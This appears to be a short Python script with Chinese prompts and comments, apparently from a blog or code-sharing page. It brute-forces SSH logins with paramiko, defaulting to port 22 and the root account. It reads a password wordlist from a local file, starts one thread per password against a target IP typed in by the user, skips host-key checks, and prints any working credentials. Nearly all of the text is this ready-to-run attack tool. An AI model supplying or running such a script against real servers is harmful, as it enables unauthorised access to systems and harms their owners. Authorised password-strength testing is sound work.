import paramiko
import threading
with open (r'D:\daima\python\Domain name scanning\passwd.txt','r') as f :
file = f.readlines()
for i in range(len(file)) :
file[i] = file[i].replace("\n","")
ip = input("需要爆破的IP地址 ")
port = input("需要进行爆破的端口,默认为22端口 ")
username = input("需要进行爆破的用户名,默认为root账户 ")
if port == "" :
port = 22
else :
# 端口需要转为整数类型
port = int(port)
if username == "" :
username = 'root'
def login(ip,port,username,password) :
#创建ssh客户端实例
client = paramiko.SSHClient()
#因为是密码爆破测试,所有直接忽略密钥
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(ip, port=port, username=username, password=password)
print(ip,username,port,password)
return True
except :
...
finally :
client.close()
def main():
for password in file :
threading.Thread(target=login,args=(ip, port, username, password)).start()
main()
06-14